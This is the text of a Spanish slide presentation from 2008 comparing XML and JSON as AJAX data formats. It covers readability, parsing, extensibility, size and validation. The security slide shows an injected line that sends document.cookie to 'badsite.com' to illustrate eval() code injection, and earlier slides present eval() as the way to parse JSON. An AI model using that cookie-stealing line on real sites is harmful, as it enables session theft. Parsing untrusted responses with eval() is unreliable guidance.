Upload
erpufo
View
1.140
Download
11
Embed Size (px)
Citation preview
Confidentiel
Javier Hernández Fernández
Octubre 2008
XML Vs JSON
Confidentiel04/10/20062
Índice
Introducción
XMLHttpRequest
XML y JSON: Formatos de datos Isomorfos
Diferencias
Seguridad
Conclusiones
Confidentiel04/10/20063
XMLHttpRequest
Interfaz empleada para realizar peticiones HTTP a servidores WEB
Datos transferidos (cualquier codificación basada en texto) , incluyendo:
XML
JSON
HTML
codificaciones particulares
Uso más popular: AJAX
Confidentiel04/10/20064
XMLHttpRequest II
¿Cuál es el formato ideal para las respuestas
XMLHttpRequest en las aplicaciones AJAX?
Controlar presentación y la apariencia: HTML
Datos:
XML
JSON
Confidentiel04/10/20065
XML y JSON: Formatos de datos Isomorfos
XML, ( Extensible Markup Language ) metalenguaje extensible de etiquetas
desarrollado por el World Wide Web Consortium (W3C)
JSON, ( JavaScript Object Notation ) subconjunto de la notación literal de objetos
de JavaScript que no requiere el uso de XML.
{“altran”: [ {
“calle” : “Campezo 1”, “cPostal” : “28022”, “ciudad” : “Madrid” }, { “calle” : “Escoles Pies 102”, “cPostal” : “08017”, “ciudad” : “Barcelona” }
]}
<altran> <direccion> <calle>Campezo 1</calle> <cPostal>28022</cPostal> <ciudad>Madrid</ciudad> </direccion> <direccion> <calle>Escoles Pies 102</calle> <cPostal>08017</cPostal>166 <ciudad>Barcelona</ciudad>192 </direccion> </altran>
Confidentiel04/10/20066
Diferencias: Facilidad de Lectura
{“altran”: [ {
“calle” : “Campezo 1”, “cPostal” : “28022”, “ciudad” : “Madrid” }, { “calle” : “Escoles Pies 102”, “cPostal” : “08017”, “ciudad” : “Barcelona” }
]}
<altran> <direccion> <calle>Campezo 1</calle> <cPostal>28022</cPostal> <ciudad>Madrid</ciudad> </direccion> <direccion> <calle>Escoles Pies 102</calle> <cPostal>08017</cPostal>166 <ciudad>Barcelona</ciudad>192 </direccion> </altran>
JSON:
más ordenado y simple
nombres de las variables y funciones difícilmente interfieren con los nombres de variables y
funciones de otras aplicaciones que coexisten generalmente en un sitio Web.
Confidentiel04/10/20067
Diferencias: Creación de Datos en la Parte del Servidor: XML
XML lleva años en el Mercado:
Innumerables clases y APIs para crear XML
Disponibles para prácticamente todos los lenguajes de programación. Java (ej, JAXB o XMLBeans)
Ejemplo de respuesta con la librería JAXB:
Person person = new Person(); person.setFirstName("Subbu"); person.setLastName("Allamaraju");
// La clase Marshaller convierte Objetos Java a XML (Serialización):Marshaller marshaller = ... // Crear una instacia de Marshaller
marshaller.marshal(person, outputStream);
Confidentiel04/10/20068
Diferencias: Creación de Datos en la Parte del Servidor: JSON
JSON es más reciente y disponga de menos variedad
JSON.org recoge una amplía colección de APIs
Disponibles para bastantes lenguajes. Java (Json-lib)
Ejemplo de creación de una respuesta con Json-lib
APIs de XML llevan más tiempo en el mercado : más estables y robustas.
Person person = new Person();person.setFirstName("Subbu");person.setLastName("Allamaraju");
writer.write(JSONObject.fromObject(person).toString());
Confidentiel04/10/20069
Diferencias: Procesar Datos en la Parte del Cliente: JSON
Procesar los datos en formato JSON de una respuesta XMLHttpRequest es trivial:
Función eval():
Evalúa la respuesta directamente a un objeto JavaScript.
El acceso a las propiedades del objeto se realizará tal y como se accede a las propiedades de los objetos en JavaScript.
var person = eval (xhr.responseText);
var person = alert (person.firstName);
Confidentiel04/10/200610
Diferencias: Procesar Datos en la Parte del Cliente: XML
XML, requiere más de código
Parece inevitable tener que recorrer el árbol DOM para procesar los datos, lo cual es tedioso y puede provocar errores.
Xpath: Evita recorrer el árbol DOM (extensibilidad).
JSON disponibilidad de datos inmediata.
var xml = xhr.responseXML;var elements = xml.getElementsByTagName("firstName");alert(elements[0].firstChild.textContent);
Confidentiel04/10/200611
Diferencias: Extensibilidad XML
Extensibilidad: Reducir asociaciones entre el productor y el consumidor de los datos
XML: Extensible Markup Language?
Siempre y cuando el código se haga teniendo en cuenta posibles modificaciones
XPath
var xml = xhr.responseXML;var elements = xml.getElementsByTagName("firstName");var firstNameEl = elements[0];var lastNameEl = firstNameEl.nextSibling;
Confidentiel04/10/200612
Diferencias: Extensibilidad JSON
JSON es más extensible que XML.
En JSON sólo es necesario comprobar si cierta propiedad existe en un objeto antes de procesarlo.
JSON ofrece otra posibilidad extra: inyectar código en la respuesta:
No recomendable:
Poluciona el código creando asociaciones entre el código y los datos.
Riesgo a la seguridad
If (person.middleName) { // Process }
alert("Hi - I'm a person");({ "firstName" : "Subbu", "lastName" : "Allamaraju"});
Confidentiel04/10/200613
Diferencias: Rapidez en la Respuesta
{“altran”: [ {
“calle” : “Campezo 1”, “cPostal” : “28022”, “ciudad” : “Madrid” }, { “calle” : “Escoles Pies 102”, “cPostal” : “08017”, “ciudad” : “Barcelona” }
]}
<altran> <direccion> <calle>Campezo 1</calle> <cPostal>28022</cPostal> <ciudad>Madrid</ciudad> </direccion> <direccion> <calle>Escoles Pies 102</calle> <cPostal>08017</cPostal>166 <ciudad>Barcelona</ciudad>192 </direccion> </altran>
Cantidad de datos que se envían en una misma respuesta:
JSON: 140
XML: 213
Confidentiel04/10/200614
Diferencias: Validación de Datos y Depuración de Errores
Servidor: Asegurar que los datos están bien formados y son validos
XML: Relativamente fácil : Esquema para los datos y validarlos contra ellos ( normas DTD o esquema utilizado )
JSON: Tarea es manual e incluye comprobar que el objeto de la respuesta tiene los atributos correctos.
Validador YAML para este propósito.
Cliente: Facilidad para depurar los errores
XML: el navegador simplemente fallará el intentar analizar sintácticamente el código XML.
JSON: difícil relacionar los mensajes de error con los datos extensión FireBug the Firefox.
Confidentiel04/10/200615
Diferencias: Seguridad
Función eval(): Injección de Código
Normas básicas de seguridad en AJAX:
No confiar en los datos o código cuando sea devuelto de una fuente no segura.
Sólo usar XMLHttpRequest para conectarse al dominio del que se descargó el código.
window.location = "http://badsite.com?" + document.cookie; person : { "firstName" : "Subbu", "lastName" : "Allamaraju" }
Confidentiel04/10/200616
Diferencias: Seguridad
Otras Soluciones:
Expresiones regulares para hacer comprobaciones antes de hacer la llamada a eval(), aunque no solucionaría posibles:
robos de datos falsificaciones de credenciales
parseJSON(): Verifica que el archivo JSON solo contenga datos.
El funcionamiento es idéntico al de eval():
var respuestaEval = eval( "(" + jsonHttp.responseText + ")");var respuestaJSON = JSON.parse(jsonHttp.responseText);
Confidentiel04/10/200617
ConclusionesFormatos de intercambio de datos Isomorfos
1. No hay ningún tipo de información que pueda ser representada en XML y no en JSON
2. No hay ningún tipo de información que pueda ser representada en JSON y no en XML
3. No hay ningún tipo de información que pueda ser representada en XML y JSON que no pueda ser representada en una S-expression de LISP
Confidentiel04/10/200618
Conclusiones¿Cuando usar uno u otro?
JSON:
Se van a tratar estructura de datos
Mínimo esfuerzo de adaptación en Recepción
Estructuras no muy pesadas
XML
Envío de información general
El Orden de los datos es relevante
Transferencia de los datos es superior a varios segundos.
Confidentiel04/10/200619
www.altran.es